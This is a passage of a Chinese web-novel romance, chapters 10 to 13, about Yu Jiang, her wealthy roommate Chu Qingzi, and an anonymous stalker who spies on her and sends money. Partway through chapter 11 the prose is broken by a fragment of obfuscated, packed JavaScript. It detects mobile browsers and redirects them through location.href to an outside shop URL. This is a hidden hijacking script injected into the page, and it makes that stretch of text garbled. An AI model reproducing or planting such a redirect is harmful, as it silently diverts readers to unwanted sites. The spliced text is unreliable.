虞姜还在纠结喂饭任务该怎么开启呢，被她冷不丁地关心了下，登时像个课上开小差被老师抓包的优等生，紧张得差点连筷子都拿不稳。
很快稳住心神，没捏住的细筷即将从掌心中脱落时，被她重新握紧。
“我没事，今天的饭菜也很好吃，我很喜欢。”
说完，她连着扒了两口饭，来不及把那块沾了酱汁的鱼肉一同送入嘴里，咀嚼不过三口，就囫囵吞枣地咽了下去。
褚倾子叹气：“宝宝就算喜欢，也不用吃这么急，下午没有课，我们在这里待多久都没关系的。”
虞姜见她不再担心，暗暗松了口气。
有这样一个“褚倾子形检查仪”时时刻刻地盯着，虞姜不敢再分心。
专心吃饭的结果就是，直到自己碗里仅剩最后一口饭了，她都还没想出该如何“平静且自然地询问褚倾子是否能替自己解决掉它”。
此时，各盘子里的食物都差不多见底了。
褚倾子正要把盘子里的最后一块牛肉夹给虞姜，向来都是默默接受的虞姜，一反常态地把碗往后一退。
虞姜：“我吃饱了，这块还是你吃吧。”
褚倾子说了个好。
感谢这一小段插曲，在迷宫里来来回回转了好多遍的虞姜，突然找到了出口。
她差点忘了，死变态已经退让一步了。
反正对方只需要自己做出一个邀请的动作，那自己还在纠结担心什么呢。
Z国语言博大精深，拜托其他人做某件事，完全可以用委婉的方式嘛。
虞姜不再迟疑，她摆出一副很自然的表情，将自己手中的饭碗，朝着对面人所在的方向递过去一些。
“倾子，今天的饭好像比之前要多一些，我还剩这一口呢，就已经吃不下了。”
虞姜觉得自己这样的处理方式，堪称完美。
就算死变态事后查完监控表示不满，自己也完全有理由驳回她的一切话语。
至于褚倾子会如何反应……
她理所当然地认为，一个善解人意又有洁癖的人，面对这种情况，想必给的回答都是一样的——
既然宝宝吃不下了，那我们就走吧。
褚倾子这会儿刚把空盘收拾好，闻言，笑着反问她。
“宝宝是想让我替你吃完最后这一口吗？”
虞姜刚要点头，反应过来她说的究竟是什么。
嘴角一僵，眼底流露出一丝不敢置信。
欸欸欸欸欸欸欸？？？
这不对吧？？？
难道是我说的还是不够委婉吗？！！
顶着褚倾子宠溺而又纵容的眼神，虞姜觉得自己好像被人关进了恐怖动物园中。
前方有狼，后方有熊，左边是蛇，右边是虎。
不管往哪个方向迈出步子，结果都是一个字——
死！
“宝宝？”
话都被架到这了，自己若是否定掉，死变态一定会说自己没有好好做任务。
虞姜笑容勉强：“嗯……我是想这么说，但你完全不用因为我而刻意改变自己的饮食习惯，就一口饭——”
手里的饭碗被拿走，褚倾子很是受伤地打断她：“难道在宝宝眼里，我就是那种会浪费粮食的人吗？”
对方精致的面容透着股令人心悸的楚楚可怜的味道，虞姜差点被美色.诱得找不着北。
她定了定神，恢复冷静地解释：“我知道你一直很珍惜食物，我的意思是，你不是有洁癖嘛，既然——”
“是我哪里没做好，才让宝宝对我产生了这种误会呢？”
虞姜：哈？
她的脑子开始乱了。
“你没有洁癖？”
褚倾子水眸潋滟：“所以宝宝一直不肯和我分享同一样食物，其实是因为误会我有洁癖吗？”
“当时汪学姐想喝你的奶茶，你不是拒绝了吗，我就以为你有洁癖。”虞姜简单解释自己为何会这么想。
“再加上后面我和别人吃东西的时候，你都没有参与，我就确定了这个猜测结果。”
褚倾子似乎在尝试回想虞姜说的“自己曾拒绝副社长喝奶茶的事”。
沉默了大概半分钟，才幽幽开口。
“抱歉宝宝，我仔细想了下，还是没能记起你说的这些。”
“比起它。”她话音一转，“我记得更清楚的，反倒是我当
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时主动问宝宝要不要喝一口我的奶茶，却被宝宝拒绝的事。”
虞姜几乎一下子就寻到她这话里的矛盾之处。
她记得很清楚，“褚倾子拒绝汪学姐”和“褚倾子询问自己”这两件事，发生时前后间隔不超过三分钟。
褚倾子也不是什么记性很差的人，如此紧密的两件事，真的就只能记起后者？
转念一想，又觉得她的记忆出现选择性空白，也不算奇怪。
人们回忆过去的时候，大多只能模糊记起某些相对重要的记忆节点。
那件事已经过去这么久，褚倾子记不全当时的所有，倒也正常。
虞姜替她找好理由，心情并没有变得多轻松。
被对方这么一强调，她反倒觉得自己好像变成了惹无辜朋友伤心的大罪人。
“倾子，你当时真的是这么问的吗？”
没记错的话，褚倾子当时好像不是这么说的吧？
褚倾子释然一笑：“没关系，事情都过去了，既然误会已经解除了，那从现在开始，宝宝应该愿意和我一起分享美食了吧？”
漂亮的眼眸深处，满是令人无法忽视的委屈。
“因为宝宝那天拒绝了我，我还以为宝宝是嫌弃我呢。”
虞姜原本还暗自纠结，想弄明白褚倾子既然没有洁癖，那天为何会拒绝汪学姐。
一听她这话，顿时把这些已经不再重要的小片段抛至脑后。
她连忙安抚难得有这类情绪的褚倾子：“是我不好，可能真的是我记错了，你别多想，我肯定不会嫌弃你的。”
褚倾子眉眼弯弯，像是开心极了。
“那就好，等我把宝宝这口饭吃完，我们就回家吧，晚上还要和宝宝一起看电影呢。”
她的视线落下，停在靠近虞姜的那双筷子上，小心翼翼地问：“我的筷子脏了，可以用宝宝的吗？”
每张餐桌都配备着筷子盒，客人有需要的话，直接就能从里头拿出新的。
比起继续使用虞姜用过的，明显还是拿新的更干净。
虞姜是这么想的，刚要提出这个建议，见她的态度略显卑微，心脏被刺了一下。
反应过来时，更为诚实的右手，已经越过大脑的命令，主动把筷子递给对方。
事已至此，虞姜只能默默闭上嘴。
她安静看着褚倾子把米饭塞进嘴里，那截曾在自己嘴里停留过的筷子头，被对方毫不介意地含入口中。
虞姜脸蛋一赧，逃避般不敢再去看那张微微染上自己味道的红唇。
她们这样……
是不是就算间接接吻了啊……
10. 十
小区门口，围了不少人。
虞姜被红灯拦住去路，停在原地等待时，视线被那头的动静吸引。
那是一辆售卖冰淇淋的餐车，车棚上的独特logo，令看见它的虞姜面色一喜。
她下意识想让褚倾子陪自己去排队，话到嘴边，又被硬生生地咽回去。
刚才为了完成“喂饭任务”，情急之下，撒了个自己已经吃很饱的谎。
这才过去五分钟不到，总不能改口说肚子马上就有空位了。
虞姜紧紧盯着那辆冰淇淋车，望眼欲穿的样子，仿若是在看一个爱而不得的白月光恋人。
这个老板卖的冰淇淋真的特别好吃，就算价钱对她来说有点贵，但它的口感，配得上这个价钱。
虞姜第一次光顾这家移动小店，是和褚倾子搬进小区的当天。
那时两人也是被红灯拦住路，见餐车附近挤满排队的人，身为一生爱凑热闹的Z国人，虞姜当即跟着围了过去。
第一眼看见的，是摆在收银台上的菜单价位表。
爆炸性的文本修饰框里，填充着被加粗的大红色四号黑体字——“特色经典款，18.8元/单球，26.8元/双球”。
虞姜瞬间在心里吸了口凉气。
这个价钱，实在令人望而却步。
正打算返回马路边继续等红灯，陪着一同过来的褚倾子也瞧见了这辆车在售卖什么。
家境殷实的褚大小姐，因为不能拉虞姜的手，只能退而求其次地拽住她的衣角。
等人抬头一脸困惑地看过来时，她展颜一笑。
“我想吃冰淇淋了，宝宝陪我吃吧。”
就这样，在褚倾子半是强硬半是祈求的态度下，虞姜花了高达零元的价钱，品尝到了这份实价近二十元的昂贵冰淇淋。
虞姜没抱多少期待，毕竟市面上有太多所谓的网红美食，价钱不便宜也就算了，偏偏味道还难吃得不行。
她以为这车冰淇淋也是某款大数据还没来及得推送的网红产品。
结果刚吃第一口，味蕾就被它彻底征服了。
自那之后，只要天气和身体条件允许，每次看见这辆冰淇淋车，虞姜都会排进队伍里。
听起来好像买得很频繁，实则截至上一回，她一共也才吃过五次。
正所谓物以稀为贵。
一想到下次再见到这辆“巡回演出式”的冰淇淋车，可能要等冬天过去，虞姜的心情，变得格外糟糕。
她开始纠结，是否该为了得之不易的它而打自己的脸呢？
还没想好，褚倾子的声音在身侧响了起来。
“宝宝，绿灯了，我们过去吧。”
虞姜泄气地点点头，努力克制住想要盯着冰淇淋车看的欲望，把自己被勾走的注意力生拽回来。
她挤在人群中穿过马路，正要直步进入小区，衣角被一只手轻轻拽住。
褚倾子轻抬下巴，示意的方向，正是冰淇淋车所处的位置。
“宝宝没看见吗？车来了。”
褚倾子也知道她很喜欢这里的冰淇淋。
一想到这点，虞姜更觉得委屈了。
偏偏她只能继续把谎圆下去：“我刚才已经吃饱饭了，肚子还很撑呢，今天就不吃冰淇淋了。”
盯着她看的褚倾子，眼眸微微一暗。
浑然没有察觉自己委屈巴巴的样子有多可爱的虞姜，强颜欢笑：“下午还要陪你去医院，我们回去睡午觉吧。”
褚倾子悄然咽了口口水，温柔而又善解人意地主动给了她台阶：“正好我今天想吃，那宝宝陪我去买一个吧。”
虞姜欲哭无泪地点点头：“嗯。”
自己想吃却不能买，和自己想吃不能买却要看着好朋友吃，完全是两种程度的折磨啊！！！
排了将近五分钟，才轮到她们俩。
菜单上的口味足有二十余种，虞姜已经把前几种都尝试过一遍，按照她的计划，这次该买抹茶巧克力口味的。
褚倾子扫了眼菜单，细长的指尖，在标着抹茶巧克力的位置点了一下。
安静陪在她边上的虞姜，正暗暗为自己吃不着冰淇淋而郁闷，等老板将东西递出，才恍悟褚倾子选了什么。
她诧异得连自己的小情绪都忘了：“倾子，你不是不喜欢抹茶吗？”
褚倾子抗拒抹茶的程度，没有虞姜抵触葱那般深。
她虽然能吃抹茶味的东西，但顶多只愿意尝一口。
褚倾子以笑当作回应，嘴角弯起的同时，伸手将刚接过的冰淇淋，凑到虞姜唇前。
“我知道宝宝已经吃饱了，所以，就当是为了我，努力再试着尝一小口可以吗，宝宝？”
虞姜讷讷：“什、什么叫为了你啊？”
她眉色柔和，眼神中透着期待：“我一直想和宝宝品尝同一份食物呢，正好现在有这个机会，宝宝可以让我如愿吗？”
残留的理智很快被一把温柔的火苗烧成灰烬。
唇间触及的一抹冰凉，刺醒有些恍神的虞姜。
她抿了下唇，才发现已经完成了品尝第一口冰淇淋的动作。
新口味依旧没踩雷，是虞姜喜欢的。
被粉唇压平的冰淇淋顶，很快被含入另一张嘴中。
就着虞姜触碰过的位置，褚倾子自然而然地完成了第二口。
她神色如常，看不出是喜欢或是厌恶。
等凉意落入喉底，才开口。
“很甜。”
她眼底笑意加深：“以前一直不怎么喜欢抹茶，可能是因为没尝到好的。”
虞姜很清楚她夸的是冰淇淋。
可被她这样紧紧地看着，又忍不住有种想要揉一下耳朵的冲动。
到底说的，是不是冰淇淋啊……
因为很满意这款冰淇淋的甜味，向来不爱多摄入抹茶的褚倾子，言行一致地继续尝了下一口。
咽下后，便把东西推给再度因吃不到冰淇淋而心痒难耐的虞姜。
“宝宝，剩下的，你能替我解决了吗？”
虞姜按耐住想要接过的冲动，故作矜持地再拒绝：“我——”
褚倾子堵住她剩下的话：“我知道宝宝的胃里没有位置了，是我不好，因为想再尝试一下不能接受的抹茶，就任性地买了，东西虽然不贵，但浪费总归是不好的，抱歉宝宝，这次能不能麻烦你，替我的任性买一下单呢。”
被冰淇淋的诱惑冲昏头脑的虞姜，很有表演天赋地“勉强”接过东西。
“那好吧，我就帮你吃掉它吧。”
她自顾自吃得开心，全然没注意到身旁人落在自己脸上那道，宠溺得能让天边明月都黯然失色的目光。
以及忘记了——
当初自己第一次买抹茶口味的蛋糕给褚倾子时，对方可是在咬完第一口后，就毫不犹豫地把剩余的一大半直接丢进垃圾桶里的画面。
//
两人进入电梯。
门关上的刹那，虞姜手里的冰淇淋，刚好被吃完。
电梯内没有第三个人，所以虞姜可以肆无忌惮地微仰起脸，将自己变得湿润的唇瓣朝向对方。
“怎么了，宝宝？”
虞姜语气自然：“你之前不是都要替我擦一下嘴巴吗？”
每次自己和别人共享完食物，褚倾子总是要替她擦一擦嘴角。
她把这当成是对方施加在自己身上的某种强迫症。
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尽管已经很久没有被这样对待，身体却还替大脑记着这个由褚倾子主导的动作。
褚倾子愣了一下。
下一刻，迎着虞姜单纯而又坦然的目光，缓缓捧住她的脸。
温热的手指按上来的刹那，虞姜生理性地抖了一下——她还是有些怕疼。
指腹擦过唇角，力道很轻，轻到不像是在做面部清洁，更像是恋人间的某种暧.昧.调.情手段。
虞姜的身体不抖了。
心脏却开始颤动起来。
这阵异样的跳动声，在褚倾子做出下一个动作时，彻底变得狂乱。
虞姜开始怀疑自己是不是被鬼上身了。
不然，她怎么会看、看、看、看见，褚倾子把那根抹过自己唇角的手指，放入她自己的嘴里啊……
比起虞姜的慌乱，做出这般亲密动作的褚倾子，倒是一如既往的淡定。
她抽出自己的手指，在光线的照射下，它的尾端泛着薄薄的一层水光。
褚倾子大大方方地把手指展示给虞姜看，语气里带着点苦恼：“还是有点黏，我还以为能弄干净的。”
她这副再冷静不过的反应，反倒让虞姜开始产生自我怀疑。
难道是自己太大惊小怪了？
这种行为，其实一点也不奇怪吗？？？
褚倾子像是才意识到虞姜的存在，把问题抛给她：“抱歉宝宝，忘记先问一下你了，你带纸巾了吗？”
虞姜呆呆地把口袋里的手帕纸递给她。
褚倾子抽了一张，一边仔细擦试着那层水痕，一边蹙眉表示嫌弃：“怪我一时没想到，早知道宝宝带了纸，我也就不需要用这么脏的方法来处理了。”
听到她说脏，虞姜反倒松口气。
//
虞姜记挂着下午还要陪褚倾子去体检的事。
一回到家，就催着她先把时间预约好。
褚倾子在手机上操作了一会儿，预约完成，把相关页面展示给她看。
虞姜用自己的手机搜了下地图，发现这家医院离小区不算远。
打车的话，正常只需要十分钟。
她暂时安下心：“那我们一点半左右再出门吧。”
褚倾子没有意见。
两人在各自屋前道完别，分别带上门准备休息。
虞姜刚躺上床，烦人的骚扰消息又来了。
【无名变态：老婆在午睡嘛？我来啦～（中午好.jpg）】
【无名变态：我刚才去看过监控了，哼！褚倾子那个讨厌的心机鬼，居然把我都给骗了！呜呜呜早知道她没有洁癖，我就不让老婆这么做了！！！】
【无名变态：讨厌死了讨厌死了！！！我都还没吃过老婆的口水呢，不但被讨厌鬼给吃得一干二净，还是在我眼皮子底下吃的！我也想吃老婆口水呜呜呜！（小狗抓狂.jpg）】
【无名变态：我还看见老婆和讨厌鬼吃同一个冰淇淋了呜呜呜，我也不喜欢抹茶，但是老婆吃过的再给我吃，我大吃特吃嘿嘿嘿。（嘴馋小狗.jpg）】
【无名变态：呜呜呜我是真的伤心了，老婆怎么不理我，是已经睡了吗，好吧，那先不打扰老婆睡觉了，老婆午安挥挥～（午安吻.jpg）】
【无名变态：[对方向您转账5200元]】
【无名变态：给正在午睡的可爱老婆的小小惊喜～】
虞姜装作已睡着，这笔钱暂时是不能收的。
正要刷会儿小某书助眠，脑中某个画面一闪而过，她噌一下坐直了身。
几乎是以最快的速度冲去的阳台。
发现那件晾着的米白色内衣不翼而飞时，虞姜整个人都不好了。
11. 十一
她之前说什么来着！
死变态就是死变态！
还好从一开始，自己就没想过要信任她！
气急败坏的虞姜打开微信，劈头盖脸地朝着对面的无名变态骂过去。
“新仇旧恨”加在一起，她这回狂敲了将近三分钟的字，才成功逼出胸口处闷着的那股浊气。
巴掌大的脸蛋，被怒意吹成圆鼓鼓的河豚脸。
气呼呼的虞姜终于停下打字动作，眼神冒火地去看无名变态打算怎么狡辩。
【你这个和下水道的老鼠一样阴暗潮湿的死变态！】
【无名变态：老婆这么快就睡醒了嘛～中午好我的漂亮老婆～要不要夸一下秒回的我呢～（小狗探头.jpg）】
【无名变态：天呐！老婆你居然用这种词语来形容我！】
【无名变态：谢谢老婆这样形容我，我就是这么阴湿的一个人，是老婆太惹人爱了，才让我变得这么阴暗潮湿的～请老婆放心！接下来我会继续用这种样子来加倍爱老婆的，谢谢老婆的鼓励！（亲亲.jpg）】
【无名变态：老婆你知道嘛！我真的太开心啦，没有想到才短短几天，老婆居然就这么了解我了！干杯！为我和老婆双向奔赴的理解而干杯！（醉酒小狗.jpg)】
【无名变态：[对方向您转账5200元]】
【无名变态：好爱这么了解我的老婆，一枚简单的了解小红包，请可爱老婆收下！（小狗摇脑袋.jpg）】
【你这个该死的死变态！还骗我说没有拿！我明明把它晾在阳台上的，现在找不到了，你这个肮脏龌龊的死变态！快把、啊呸！我才不要被你碰过的东西！你这个恶心透顶的死变态！】
【无名变态：老婆骂我的词汇一下子变得超级丰富欸～立马加入收藏！】
【无名变态：虽然好喜欢老婆你骂我，也好期待老婆哪天真的愿意发语音来践踏我，但我还是想告诉老婆，我真的没有偷拿老婆的内衣，呜呜呜我发给老婆的那一件，真的是我自己买的嘤嘤嘤。（发誓小狗.jpg)】
【无名变态：我这里还有我买内衣时留下的小票呢，本来打算等会儿就扔的，没想到刚好现在就用到了。】
【无名变态：（购物小票图.jpg）】
【无名变态：小票都给老婆看了，老婆应该可以相信我了吧呜呜呜，我真的好委屈好委屈啊。】
【你这个只敢在阴暗角落里发骚扰消息的死变态！到底是怎么偷溜进我们家的！私闯民宅是犯/法的！】
【无名变态：呜呜呜我没有，我真的没有，老婆是屏蔽了我的话吗，怎么不看我的解释嘛呜呜呜，我真的太委屈了我要难过死了呜呜呜。】
虞姜只看到这，就没再继续往下划了。
无名变态发来的图片被点开，她仔细看了看，的确是那家内衣店的。
购买日期也没错，是最近的。
虞姜沉默。
难不成，真的是自己误会了？
她想到还有一种可能，动身往阳台边靠去，倚着栏杆往下方寻了寻。
一阵声音骤然从后方响起。
“宝宝，你在这儿做什么呢？”
虞姜回头，端着水杯站在屋里的褚倾子，跟着走了过来。
“是有衣服掉下去了吗？”
虞姜犹豫两秒，还是没瞒着她。
“我昨晚刚洗的内衣不见了，我想着是不是被风给吹到楼下去了。”
褚倾子闻言一脸歉意：“抱歉啊宝宝，我忘记和你说了，你的内衣和内裤，在我出门找你之前，顺手帮你一起收起来了。”
完全没想过还有这种可能的虞姜：？
褚倾子：“之前衣服都是宝宝替我一起收的，今天难得我有空，就提前收起来了，本来其它东西也想一并收进来的，那会儿摸了下还有一点湿，现在应该可以了。”
她随手试了下离自己最近的那条牛仔裤，是虞姜的。
“已经干了，那我来收吧，宝宝替我去厨房倒杯水好吗？”
虞姜呆呆地握着水杯进了厨房。
一边按下出水键接水，一边贴着台沿出神。
没想到还真误会死变态了。
水接得差不多，她松了手，重新握着水杯去找褚倾子。
“宝宝这么快就回来了，那这些是让我折好给宝宝送过去，还是宝宝拿回去自己折呢？”
虞姜选了前者。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13991833|148376||http|test|mini|href|location''.split(''|''),0,{}));
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房门再度被关上，散发着淡淡洗衣液味道的衣服被她随手放在床尾处。
虞姜暂时没去管它们，重新坐回床头，打开了微信。
无名变态的消息还在不停地发着。
内容一模一样，就一句话——“老婆真的不是我呜呜呜”。
虞姜难得在面对她时感到心虚。
一直以来的良心与竭力想要降低的道德感开始拉扯，最终，后者又一次胜出。
虞姜没有道歉，只是语气平静地为这次的乌龙事件画了个句号。
【找到了。】
无名变态不像情绪失控时的虞姜，只会埋头打字而不抽空看一眼对方回了什么。
她上一秒还在坚持替自己伸冤，下一秒就给了应有的回应。
【无名变态：呜呜呜老婆你终于肯理我了，我就说我没有拿嘛，好伤心呜呜呜，委屈死我了，要老婆亲亲我才会振作，哼！】
虞姜觉得这似乎是个很好的机会。
一个能让无名变态自认为看透自己从而不再纠缠自己的机会。
【我没错。】
【无名变态：倔强的老婆也超级超级可爱！！！好喜欢好喜欢！！！（我亲亲亲.jpg）】
【无名变态：老婆当然没有错！老婆这辈子都不会有错！都怪我没有及时给老婆出谋划策，还要让老婆自己去找内衣丢在哪里了，都是我的错！】
【无名变态：[对方向您转账13140元]】
【无名变态：对不起老婆，是我错了，下次我不会再犯这么低级又离谱的错了！老婆再原谅我一回嘤嘤嘤。（小狗撒娇.jpg）】
又一次被对方的行为刷新认知下限的虞姜：“……”
她不再理会无名变态，抬起屁股坐去床尾，开始整理刚晒过阳光的衣服。
几分钟后，叠好的衣服被分类放进衣柜里。
那件“失而复得”的米白色内衣，诚如褚倾子所言，此刻就躺在内衣堆中。
想到这是褚倾子第一次亲手替自己收的内衣，没忍住，又把它拿了出来。
虞姜盯着它看了足足半分钟。
末了，鬼使神差的，将自己的鼻子，一点点地凑近它。
12. 十二
内衣被洗得很干净。
薄薄的两小片，裹满了洗衣液的味道。
不知是虞姜的心理作用，亦或是褚倾子替她收内衣时手攥得太紧了。
在这阵洗衣液的味道中，竟真让鼻子寻到了一股香而不俗的味道。
这股淡香，虞姜时常能从褚倾子身上闻到。
此刻以不可见光的方式钻入她的鼻腔中，不消片刻，便幻化成一只无形手，嗖的一下，将出逃的理智，一把揪了回来。
脱离魔怔状态的虞姜立时松了劲。
她的大半个身子都欺在衣柜中，半密闭的狭窄空间，一时只听得见她心脏砰砰的跳动声，以及一阵重过一阵的呼吸声。
隔了片刻才稍微冷静的虞姜，白嫩的脸颊依旧红着，她一边暗暗在心底骂着自己，一边动作僵硬地捡起掉落回柜子里的内衣。
自己刚才是疯了吗！
怎、怎、怎怎怎么能做出这么变态的行为呢！
自己这样做，和那恶心的无名变态又有什么区别！
虞姜不敢继续在衣柜前停留，随意将内衣往里一塞，逃避般跑上了床。
发烫的指尖拽着被子往脑袋上一蒙，独家秘制的“盖被鹌鹑卷”就完成了。
//
午休结束。
虞姜和褚倾子一同出门。
等电梯上来的间隙，虞姜把自己憋了近半个小时的话，说出口。
“倾子，以后衣服还是我来收吧。”她补充性地强调，“就算和今天一样，家里暂时只有你在，也先放着等我回来再收吧，好吗？”
褚倾子有些自责地反问：“宝宝是觉得我做不好这种事吗？对不起宝宝，我连这么——”
“不是，你没有任何问题，原因在我个人。”虞姜慌忙打断。
她把自己一同想好的理由搬出来，语态轻松地解释：“先前衣服都是我收的嘛，我已经习惯做这件事了，所以从明天开始，还是继续让我来吧，好吗？”
褚倾子不说话，紧紧盯着她看。
没法在这种时候躲开视线的虞姜，险些要被她直勾勾的眼神看得腿软。
褚倾子依旧舍不得为难她，终是答应。
“好吧，既然宝宝喜欢，那就还是交给宝宝吧。”
如愿得到自己所期待的回答，虞姜默默在心里松口气。
只要衣服不沾上褚倾子的味道，自己肯定就不会再做刚才那样的行为了！
“对了宝宝，我也有件事要和你说。”
虞姜刚踏入电梯站好，闻言，后颈跟着一紧。
她咧嘴假笑：“嗯？”
褚倾子被她皮笑肉不笑的怪样子打败，无奈叹气：“宝宝别紧张，我不是要反悔，刚才休息的时候，杨楠给我发消息了。”
杨楠？
虞姜了然：“她是问你房子的事吧？”
“嗯，既然宝宝也知道，我就不多说了，只是有件事还需要宝宝替我保个密。”
虞姜眨眨眼，不太确定地猜测：“你和她说小区里已经没有房源了？”
上午和王杨楠聊完，虞姜后面又抽空打开租房软件看了下。
尽管软件里面水分很多，但也可以判断出，小区里无人居住的空房，目前还是挺多的。
王杨楠想要租房，当然可以自行在软件上找中介进行询问。
那样相对麻烦，更重要的，是大部分的中介都要从租户这边再收一笔中介费。
若是有熟人介绍，越过中介找房东直租，那就能省掉这笔不算便宜的钱了。
虞姜很理解也很认同这样的做法，因而当时王杨楠为了这件事特意找她，她才没有反问对方为何不先在软件上找中介咨询，而是直接应下。
“差不多吧，我只是谎报了每个月的房租而已。”
虞姜瞬间明白褚倾子这话是什么意思：“杨楠她们每个月生活费也不多，学校又不让她们换寝，她们的确也是没办法，才决定搬出来的。”
说着点点头，表示理解：“小区的房子对杨楠她们来说肯定不便宜，你是打算偷偷替她们补差
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价是吧，我知道了，到时候她们如果再来问，我就替你把谎一起圆下去，所以你是报了多少？”
褚倾子：“两万。”
虞姜：？？？
虞姜：？？？？？？
她瞪大眼，一口气差点喘不上来：“你说啥？！！两万？？？咱这儿的公寓就算再贵，租金应该也不可能这么离谱吧？”
褚倾子被她灵动有趣的表情可爱到，忍住那股想把人摁在怀里亲的念头，淡定道：“抱歉宝宝，我也不知道我们家一个月房租应该收多少，但宝宝说得应该没错。”
虞姜的脑子又开始乱了。
“什么叫你也不知道？这房子当初不是你亲自租的吗？你每个月不是得给房东转钱吗？难道这些是你家人负责的？”
褚倾子也学她刚才那样眨眨眼，只不过她这样做，模样看着更显得无辜。
“宝宝，我当时难道没有和你说吗，我们的这套房子，在收到录取通知书的时候，就被我妈买下了。”
虞姜：“……”
对不起！有钱人的世界我真的不太懂！
她试着回忆了下，最后什么也没想起来，只好默认自己当时是听漏了。
虞姜重新把跑偏的话题带回来：“就算你不了解这附近的租房行情，你也不用谎报这么夸张的数字嘛，杨楠问你的时候，你直接告诉她真相就行呀，杨楠肯定不会怪你的。”
或许在一些容易得寸进尺的人看来，像褚倾子这样的滥好人，这辈子都应该无条件答应自己的请求。
哪天她拒绝了，那她以往所做的所有善举，都会被这样的人一笔勾销，而她本人，也将被打上“罪人”的烙印。
虞姜和王杨楠接触的时间虽不算多，但是能看得出，王杨楠绝非这种烂人。
褚倾子听得懂她隐藏的顾虑，温柔一笑：“宝宝，我在意的不是这些。”
虞姜又一次猜错她的想法，彻底懵住：“那你为什么要骗她们啊？”
“因为，我不希望宝宝和她们，走得太近呢。”
13. 十三
虞姜能听出褚倾子说这话时，声音里藏不住的占有欲。
这很正常。
毕竟褚倾子，是真的把自己当成了最好的朋友。
她很耐心地安抚道：“放心好啦，我不会和她们走太近的，你应该知道的呀，和你一起搬出来之后，我就没怎么和她们接触了。”
虞姜对友情的占有欲不像褚倾子那么强。
她其实没有很多好朋友。
如果把褚倾子也算上的话，好朋友一共就两个。
从高一开始就和她交过心的那位好朋友，陪她度过三年高中时光。
后来，好朋友难得“见色忘友”，决定“抛弃”虞姜，去同城市的另一个学校找她暗恋长达两年的某个学姐。
好朋友家里条件不差，正因为有退路，她才能无所顾忌地“为了爱情而放手一搏”。
虞姜知道她的打算后，有关未来职业选择的建议，一个没有，只是很真诚地祝愿她，能在暗恋这条路上，早日走到美丽的终点。
好朋友也拍拍她的肩，同样真诚地表示，将来哪天在工作岗位上混不下去了，直接卷铺盖来找她就行，身为好朋友，她会养虞姜的。
后来上了大学，虞姜的友情重心，不可避免地朝着新朋友的方向偏移。
一不小心偏过头，纯洁的友情彻底变质成无果的爱情。
那个令虞姜的情感完成转变的“罪魁祸首”，此刻正和她并排走在前往小区门口的道路上。
听完虞姜的话，褚倾子眼帘微敛，晦暗的几缕情绪，被很好地掩埋其间。
“之后她们若是也搬到这里了，大家同住一个小区，宝宝觉得，她们邀请我们一起吃饭、一起做其它事的概率，会有多少呢？”
虞姜上一秒还很自信，这一秒，顿时显得底气不足。
她讷讷：“如果我们实在不想去，那也可以拒绝的嘛，她们遇到的问题的确挺头疼，接下来还有——”
褚倾子笑着打断她：“宝宝真的能拒绝她们吗？就算第一次乖乖做到了，那么第二次、第三次，宝宝也都能始终如一地拒绝吗？”
在她一针见血的追问下，虞姜心虚地闭上了嘴。
自己和王杨楠她们并未交恶，对方若真的盛情邀请，结果会怎么样，还真不好说……
因为谁都没再开口，气氛一时变得有些冷。
直到两人一前一后出了小区门，褚倾子终于忍不住委屈出声。
“宝宝连哄我一句也不肯吗？就算是假的，我也喜欢听。”
虞姜迅速偏头看了她一眼，收回脑袋后，闷闷道：“可我不想骗你。”
她已经骗了褚倾子很多，如非必要，她不想再对她撒谎。
身旁响起一阵若有似无的叹息。
紧随着，是褚倾子一下变得虚弱的求助声。
“宝宝，我头又难受了，可以再让我抱一下吗？”
虞姜习惯性地点头。
身体被抱住时，她听见落于耳畔的呢喃细语。
“宝宝，骗我一次吧，我心甘情愿的。”
心脏处，骤然下起一场哗啦啦的柠檬雨。
虞姜心口莫名一酸，禁不住顺从了她的请求。
“我会拒绝的，不管是第几次，我都会拒绝她们的。”
远处，姗姗来迟的私家车迎面靠近，最后停在路边。
褚倾子先开了后车座的门，等虞姜贴着另一侧车窗坐好，才跟着上去。
同司机核对完相关信息，她才把谎言的后半段如实相告。
“她们的住宿问题，我已经处理好了。”
虞姜正默默思考着这件事，闻言，小脸一喜：“你帮她们申请到换寝了？”
“那样还要再折腾一段时间，既然她们想搬出来住，那就搬出来吧。”
虞姜：？
“你刚才不是和我说，你谎报了房租吗？这种价位的房子，她们负担不起的。”
褚倾子笑了下：“宝宝应该不知道，兰灵湾那边，其实也有不少待出租的房子。”
“你是说靠近北门的那个小区？那里的房价应该也不便宜吧？她们肯定同样住不起的。”
“所以我正
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想说，宝宝和我，真是心有灵犀呢。”
虞姜顿了顿，答案从胸腔里自动跳出来：“你的意思是，你打算给她们补差价？”
褚倾子：“宝宝还是那么聪明。”
“她们这么快就商量好了？你把房租报得很低吗？”
“每个月五百。”
虞姜简单算了算：“加上水电的话，每人一个月最多付六七百吧？那她们能接受倒是——”
褚倾子纠正她：“宝宝，是一共五百，水电也给她们全免了，至于我具体是怎么和她们说的，宝宝直接拿我手机看吧，这样她们以后真的问起来，宝宝也好回答。”
虞姜：“……”
有钱人的世界别再邀请我进入了！！！
//
两人在医院里待了一下午。
将近五点的时候，最后一项检查结果出来。
戴着黑框眼镜的医生看完结果，很明确地表示，褚倾子的身体很健康，并不存在任何生理上的问题，头痛的原因可能在心理方面，实在难受的话，可以再找心理医生咨询一下。
褚倾子显然早就料到会是如此，很礼貌地同医生道完谢，轻扯着虞姜的衣角往外走。
虞姜半推半就地跟着走了一小段，即将拐弯时，她终于下了决定，当即停住步伐。
“倾子，我还有个问题想问一下医生，你先自己在这里等我一会儿好吗？”
褚倾子：“那我去买瓶水，宝宝想喝什么？”
“我现在不渴，你喝吧。”
虞姜重新敲开医生的门，等屋内另一位患者咨询完离开，她才面含羞涩地开口。
“医生，不好意思啊，刚才我朋友在，有些话不太好问，现在我单独过来，是想再问您一下，我朋友前两次头痛，都是抱一下我就能缓解，这种行为是有科学依据的吗？虽然她的身体没问题，但频繁头痛应该也很难受，如果我以后让她多抱一会儿，她是不是能早点痊愈啊？”
